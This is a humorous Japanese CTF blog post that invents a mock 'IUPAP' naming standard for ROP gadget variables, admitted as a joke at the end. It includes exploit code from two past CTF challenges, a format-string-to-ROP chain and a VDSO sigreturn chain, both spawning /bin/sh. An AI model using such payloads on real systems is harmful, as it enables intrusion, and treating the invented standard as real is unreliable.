CTFするぞ

CTF以外のことも書くよ

IUPAP Nomenclature of Pwnable

はじめに

国際純正・応用pwn連合(英: International Union of Pure and Applied Pwnable、IUPAP)は、各国のpwnerを代表する国内組織の連合である国際pwn会議の参加組織である。

f:id:ptr-yudai:20211203204910j:plain:w32 *1

IUPAP命名法(アイユーパップめいめいほう)は、国際純正・応用pwn連合(IUPAP)が定める、exploitの変数名の命名法の全体を指す言葉。IUPAP命名法は、pwn界における国際的な標準としての地位を確立している。

ROP, JOPの命名法についての勧告は2冊の出版物としてまとめられ、英語ではそれぞれ「ブルー・ブック」「レッド・ブック」の愛称を持つ。

広義には、その他各種の定義集の一部として含まれる変数名の命名法を含む。IUPAC*2との共同編集で、各種primitiveおよびexploit基礎を扱った「グリーン・ブック」、その他pwnにおける多数の専門用語を扱った「ゴールド・ブック」のほか、Stack学(ホワイト・ブック;IUBMBとの共同編集)、Heap学(オレンジ・ブック)、Kernel学(パープル・ブック)、Browser学(シルバー・ブック)があり、各分野の用語法の拠り所となっている。

これらの「カラー・ブック」について、IUPAPはPure and Applied Pwnable誌上で、特定の状況に対応するための補足勧告を継続的に発表している。

それはさておき

他人のwriteupなどを読んでいると、ROP chainを次のように記述する人が多いと感じています。

f:id:ptr-yudai:20210531165608p:plain

何やってるかまるで分かりませんね。 これではwriteupを読む人が困るだけでなく、exploitを書いてる側も修正ミスなどを起こしてしまいます。 中には次のようにコメントにgadgetを書く人もいます。

f:id:ptr-yudai:20210531165851p:plain

一気に分かりやすくなりました。 しかし、ROP chainを書き直していると大切なgadgetを失ってしまい、また同じgadgetを探す旅に出なくてはなりません。 そこで、次のように変数名をROP gadgetにしている人もいます。

f:id:ptr-yudai:20210531170128p:plain

これで安心ですね。 でも次のようなROP gadgetはどう命名するのでしょうか。

mov [rdx], rax; ret;
call [rax+0xc0be]; pop rdi; pop rsi; ret;
sub ecx, 0x10; jz 0x7fffdead1234; mov [rsp-0x10], r12d; jmp [rax];

もし先の例のようになんとなく命名していると、このようなgadgetのアドレスを変数に代入するとき、変数名が思いつかないまま時間が過ぎ、CTFならきっと競技終了まで考え込んでしまいます。 このような危機的状況に立ち向かうため、2021年7月11日12時42分*3に設立された団体が通称IUPAPです。

私はIUPAPではROP gadgetを使うとき、独自の命名規則に従って名前を付けることを勧告しています。 世の中からアドレス直書きROP chainが消えて平和な世界が訪れることを切に願っています。

prefix

ROP gadgetを示す変数名は必ずrop_から始めます。 これは変数がROP gadgetのオフセットを表すことを明示するためです。 代表的なprefixは次の通りです。

prefix 変数の意味
rop_ ROP/JOP/COP gadgetのアドレス
got_ GOTのアドレス
plt_ PLTのアドレス
iat_ IATのアドレス
addr_ その他のアドレス
ofs_ オフセット
fake_ 偽オブジェクトの実体
addr_fake_ 偽オブジェクトのアドレス

関数ポインタは現状 addr_関数名 という規則になっていますが、団体内では func_関数名 にするべきとの声も挙がっており、現在論争になっています。 今後改定されるかもしれません。

使用例:

got_puts: putsのGOT
plt_puts: putsのPLT
ofs_system: libcの先頭からsystem関数までのオフセット
iat_VirtualAlloc: VirtualAllocのIAT
fake_vtabke: 偽装vtableの実体
addr_vtable: 正規vtableのポインタ

IATはポインタが書かれている場所で、ELFにおけるGOTに相当します。 一方IATのポインタを呼ぶ側(PLT相当)に関しては「名前が付いてない気がするため、現在は未定。」となっています。

ROP/JOP/COP gadget

基本

オペコードとオペランドの間と、命令同士の間をアンダースコア(_)区切りで繋げます。

(例)
jmp rax --> rop_jmp_rax
mov rdx, rax; pop rax; call rdx; --> rop_mov_rdx_rax_pop_rax_call_rdx

複数の表記法がある命令については基本的に最短表記します。

(例)
mov qword ptr [rax], rdx --> mov_prax_rdx
movsb BYTE PTR [rdi], BYTE PTR [rsi]; --> movsb

数値の表現

値は(特に意図がなければ)必ず16進数大文字表記し、最後にhを付けます。 負の数は先頭にM(minus)を付けます。

(例)
add rax, 12 --> add_rax_Ch
mov edx, 0x0000cafe --> mov_edx_CAFEh
add rsp, -8 --> add_rsp_M8h

レジスタへの即値の代入において、signedかunsignedかの判断は使用する文脈で使い分けて構いませんが、それは代入するレジスタのサイズと一致している場合に限ります。 例えば

mov al, 0xFF

mov_al_FFh とするか mov_al_M1h とするかは文脈により自由です。 しかし、後から add bl, al のように使用するからといって

mov rax, 0xFF

mov_rax_M1h と記述することは許されません。 これは mov rax, 0xffffffffffffffff との混乱を防ぐためです。

retとnopの省略

ROP gadgetは一般的にretで終わるため、ret命令は省略します。

(例)
pop rcx; ret; --> rop_pop_rcx
leave; ret; --> rop_leave
cld; ret; --> rop_cld

ただし、ret単体の場合や、retオペランドを持つ場合は省略してはいけません。

(例)
ret; --> rop_ret
retn 0x108; --> rop_ret_108h

さらに、callsyscallの後にretが来ることを明確にしたい場合は省略しなくても構いません。

(例)
call rax; ret; --> rop_call_rax / rop_call_rax_ret
syscall; ret; --> rop_syscall / rop_syscall_ret

使用する文脈によって、retに到達することが想定されるgadgetなら省略しない方が良いでしょう。

また、nop相当の命令は省略しても構いません。必ずその命令がどこにも影響を与えないときのみ省略可能です。(フラグレジスタへの影響は許容します。)

(例)
pop rax; nop; ret; --> rop_pop_rax
inc edx; xchg ah, ah; ret; --> rop_inc_rdx
stosq; xchg rax, rdx; xchg rax, rdx; ret; --> rop_stosq

たとえROP中で特定のレジスタを使わないと分かっていても次のような省略はしてはいけません。

(ダメな例)
pop rax; mov rcx, rax; ret; --> rop_pop_rax // rcxが変更されている
stosq; push rdx; pop rdx; ret; --> rop_stosq // スタックに変更が加わる

使わないと思っていても変更を加えるうちにどこかで影響してしまうことがあり、原因の特定が遅れるからです。

連続するpush/popの省略

pop命令が連続するROP gadgetは頻出ですので、poppushが連続する場合、2つ目以降のpopは省略します。

(例)
pop rsi; pop rdi; ret; --> rop_pop_rsi_rdi
push rax; push rdx; pop rsp; mov rbx, rax; pop rdi; ret; --> rop_push_rax_rdx_pop_rsp_mov_rbx_rax_pop_rdi

間接アドレッシング

このセクションが本命名規則で最も複雑な箇所です。 AMD64プロセッサでは次のような表現が可能です。

mov rax, [rsi + rcx*4]

ポインタは先頭にp(pointer)を付けて表現します。 サイズが分かる場合QWORDやDWORDといった表記は省略します。即値の場合は必ずサイズをpの前に明記します。

(例)
mov qword [rdx], rax; ret; --> rop_mov_prdx_rax
mov byte [0x602060], 1; ret; --> rop_mov_byte_p602060h_1h

calljmpはプログラムのビット数(レジスタのサイズ)により判断可能なためサイズ情報を省略します。

(例)
call qword [rax] --> rop_call_prax

アドレス計算を利用している場合、基底→乗算→加算の順に記述します。 この際レジスタ名と値を連続して繋げ、加算にはP(plus)、減算にはM(minus)、乗算にはX(times)を付けます。

(例)
[eax] --> peax
[r12 + 1] --> pr12P1h
[rax + rcx*4] --> praxPrcxX4h
[r12 + r7*8 + 0x1E0] --> pr12Pr7X8hP1E0h

したがって、次のようになります。

(例)
lea edx, [eax + 8]; ret; --> rop_lea_edx_peaxP8h
mov eax, [rsi + rcx*4]; ret; --> rop_mov_eax_prsiPrcxX4h
mov eax, [r12 + rax*8 + 0x123]; ret; --> rop_mov_eax_pr12PraxX8hP123h
lea r12, [r12+1]; ret; --> rop_lea_r12_pr12P1h
lea r12, [r12-1]; ret; --> rop_lea_r12_pr12M1h

条件分岐 / 関数呼出

条件分岐は基本として通るパス命名します。 条件分岐はアドレスを記載せず、その分岐に利用された命令名のみを書きます。 ただし、固定アドレスへのjmpは省略可能です。

(例1)
inc eax
jmp 0x7fffdeadbeef
...
0x7fffdeadbeef:
ret;
--> rop_inc_eax

(例2)
test dl, dl;
jz 0x7fffdeadbeef;
xor eax, eax;
ret;
0x7fffdeadbeef:
mov eax, 1;
ret;
-->
rop_test_dl_dl_jz_xor_eax_eax / rop_test_dl_dl_mov_eax_1h

両方のパスを使う場合はexploit中で使う箇所によって、同じgadgetに別の変数名を付けて使います。 また、同じ使用箇所でも分岐のどちらを通るか分からない場合はラベルをL1から順に割り当てて次のように命名します。 この際、分岐先のretは終端でない限り省略してはいけません。

(例)
cmp al, dl
jz 0x7fffdeadbeef;
xor eax, eax;
ret;
0x7fffdeadbeef:
mov eax, 0xffffffff;
ret;
-->
rop_cmp_al_dl_jz_L1_xor_eax_eax_ret_L1_mov_eax_FFFFFFFFh

関数呼出について、呼び出す関数にシンボルが存在する場合はそれを利用できます。関数名にはマングリングされた名前を使います。

(例)
mov rsi, r12; call realloc; --> rop_mov_rsi_r12_call_realloc

略称

頻出だが変数名が長くなってしまうようなgadgetに対しては特別な略称をつけています。 propa-2-oneがacetoneになるのと同じですね。

ROP gadget 略称 正式名称
__libc_csu_initのpop部分 rop_csu_popper rop_pop_rbx_rbp_r12_r13_r14_r15
__libc_csu_initのcall部分 rop_csu_caller mov_rdx_r12_mov_rsi_r14_mov_edi_r15d_call_pr12PrbxX8h_add_rbx_1h_cmp_rbx_rbp_jnz_add_rsp_8h_pop_rbx_rbp_r12_r13_r14_r15
one gadget one_gadget -

one gadgetに関してはlibcベースからのオフセットを示す場合ofs_プレフィックスを付けます。解決済みアドレスの場合はaddr_を付加します。 one gadgetの表記に関しては歴史的に多くの議論があり、「one gadgetの制約も命名すべきだ」という声が多く挙がりました。 しかし最終的に、「one gadgetなどという実世界で役に立たないgadgetを使うことそのものが愚行である」という結論で全会一致したため、one_gadgetという情報が欠落した略称が使われるようになっています。

実用例

最後に実際の過去問のexploitを挙げることで、IUPAP命名法がどのくらい役に立つかを感じて終わりにします。

coffee - TSG CTF 2021

まずは基本的な使用例を見てみましょう。 この問題はFSBをROPに繋げるという趣旨の問題です。

次のようにIUPAPで書いていれば、writeupを読むときや見返すときに何をしているかが明確になることが分かります。

payload = fsb(
    pos=6,
    writes={elf.got('puts'): rop_pop_rbx_rbp_r12_r13_r14_r15},
    bs=1,
    size=2,
    bits=64
)
payload += flat([
    rop_ret,
    rop_pop_rdi, next(libc.search("/bin/sh")),
    libc.symbol("system"),
], map=p64)
sock.sendline(payload)

FSBでputs関数のGOTをpopに向けることで「きっとこの人はROPに繋げようとしているんだなぁ」という意図が読み取れます。

最後のchainを見ても、rop_retと書くことで「movapsを避けようとしているんだなぁ」と風情すら感じます。

pwnbox - LINE CTF 2021

この問題はROP gadgetが極端に少ないため、VDSO(Linuxカーネルが錬成してくれる機械語)からROP gadgetを探して使いましょうという内容でした。 競技中に私はadd edx, 1; cmp rax, 0x3b9ac9ff; ja 0x7ffff7ffebda; add qword ptr [rsi], rdx; mov qword ptr [rsi + 8], rax; mov eax, dword ptr [rsp + 0xc]; test eax, eax; jne 0x7ffff7ffea92; lea rsp, [rbp - 0x20]; xor eax, eax; pop rbx; pop r12; pop r13; pop r14; pop rbp; ret;を使いましたが、変数名の付け方に5時間くらい消費した記憶があります。

IUPAPにより命名してみましょう。

rop_add_edx_1h_cmp_rax_3B9AC9FFh_ja_add_prsi_rdx_mov_prsiP8h_rax_mov_eax_prspPCh_test_eax_eax_jne_lea_rsp_prbpM20h_xor_eax_eax_pop_rbx_r12_r13_r14_rbp

意図的にはrop_add_edx_1hでも良さそうですが、pop部分がなくなると読む側としては不自然になってしまいます。

では、これをexploitに組み込んでみましょう。

rop_xor_eax_eax_pop_rbp = addr_vdso + 0xf46
rop_add_edx_1h_cmp_rax_3B9AC9FFh_ja_add_prsi_rdx_mov_prsiP8h_rax_mov_eax_prspPCh_test_eax_eax_jne_lea_rsp_prbpM20h_xor_eax_eax_pop_rbx_r12_r13_r14_rbp = addr_vdso + 0xbe0
delta = (-(0x402000 - 0xA4B0204) ^ 0xffffffffffffffff) + 1
payload  = b'/bin/sh\0'
payload += p64(0x402000) # rbx
payload += p64(0x402020 + 0x20) # rbp
for i in range(1, 10): # make rdx > 15
    payload += p64(rop_add_edx_1h_cmp_rax_3B9AC9FFh_ja_add_prsi_rdx_mov_prsiP8h_rax_mov_eax_prspPCh_test_eax_eax_jne_lea_rsp_prbpM20h_xor_eax_eax_pop_rbx_r12_r13_r14_rbp)
    payload += p64(0) + p64((1<<64)-1) + p64(0) + p64(0)
    payload += p64(0x402020 + 0x20 + i*0x30) # rbp
payload += p64(rop_xor_eax_eax_pop_rbp)
payload += p64(0x4021e0 - 0x10)
payload += p64(rop_syscall) # read + sigreturn
payload += b"AAAAAAAA" * 5
payload += flat([
    0, 0, 0, 0, 0, 0, 0, 0,
    0x402000, # rdi
    0, # rsi
    0, # rbp
    0, # rbx
    0, # edx
    59, # rax
    0, # rcx
    0x402000, # rsp
    rop_syscall, # rip
    0, # eflags
    0x33 # csgsfs
], map=p64)
payload += b'AAAAAAAA' * 4
payload += p64(0)

たまげたなぁ。 このように記述すればwriteupを読む側としては何をやっているかが一目瞭然になりますね。

Exploitを書いてる人はつらいかというとそうでもなく、割と書いてて楽しいです。 有機化学で骨格構造式から命名する問題を解いてる時の感覚に似てますね。tetraethyllead。

おわりに

この記事は実はCTF Advent Calendar 2021の10日目の記事でした。Happy April Fool!

昨日はふぁぼんさんのTSG LIVE! 7 ライブCTF参加記で、土日誰も登録しなければ次も私になりそう。 akiymさんがrev記事を書いてくれました。やったぁ!

前回の記事が真面目だったので今回はネタにした限りです。こういう記事を書いたのは初めてなので、日本語が分からない海外勢が翻訳困惑しないか心配です。知らんけど。

最後に宣伝になりますが、なんと今年のSECCON 2021が来週末に開催されます。ちょっと作問したので参加してネ。

*1:明日を見つめる

*2:IUPAP既に存在するってマ!?

*3:トンテキを食べながら